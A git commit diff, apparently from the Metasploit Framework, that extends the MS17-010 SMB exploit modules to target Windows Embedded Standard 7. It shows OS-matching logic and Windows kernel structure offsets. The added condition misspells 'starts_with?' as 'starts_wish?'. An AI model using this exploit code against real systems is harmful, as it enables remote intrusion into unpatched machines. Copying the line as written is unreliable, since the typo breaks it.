add Windows Embedded Standard 7 support
parent
a7817564ea
commit
a5c0881c08
|
@ -303,7 +303,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' or os.starts_with? 'Windows RT 9200'
|
if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' or os.starts_with? 'Windows RT 9200'
|
||||||
@ctx['os'] = 'WIN8'
|
@ctx['os'] = 'WIN8'
|
||||||
@ctx['go_fish'] = false
|
@ctx['go_fish'] = false
|
||||||
elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2'
|
elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2' or os.starts_wish? 'Windows Embedded Standard 7'
|
||||||
@ctx['os'] = 'WIN7'
|
@ctx['os'] = 'WIN7'
|
||||||
@ctx['go_fish'] = false
|
@ctx['go_fish'] = false
|
||||||
elsif os.starts_with? "Windows Server (R) 2008" or os.starts_with? 'Windows Vista'
|
elsif os.starts_with? "Windows Server (R) 2008" or os.starts_with? 'Windows Vista'
|
||||||
|
|
|
@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Arch' => [ ARCH_X64 ],
|
'Arch' => [ ARCH_X64 ],
|
||||||
|
|
||||||
'os_patterns' => ['Server 2008 R2', 'Windows 7'],
|
'os_patterns' => ['Server 2008 R2', 'Windows 7', 'Windows Embedded Standard 7'],
|
||||||
'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset
|
'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset
|
||||||
'et_alertable' => 0x4c, # ETHREAD.Alertable offset
|
'et_alertable' => 0x4c, # ETHREAD.Alertable offset
|
||||||
'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset
|
'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset
|
||||||
|
|
Loading…
Reference in New Issue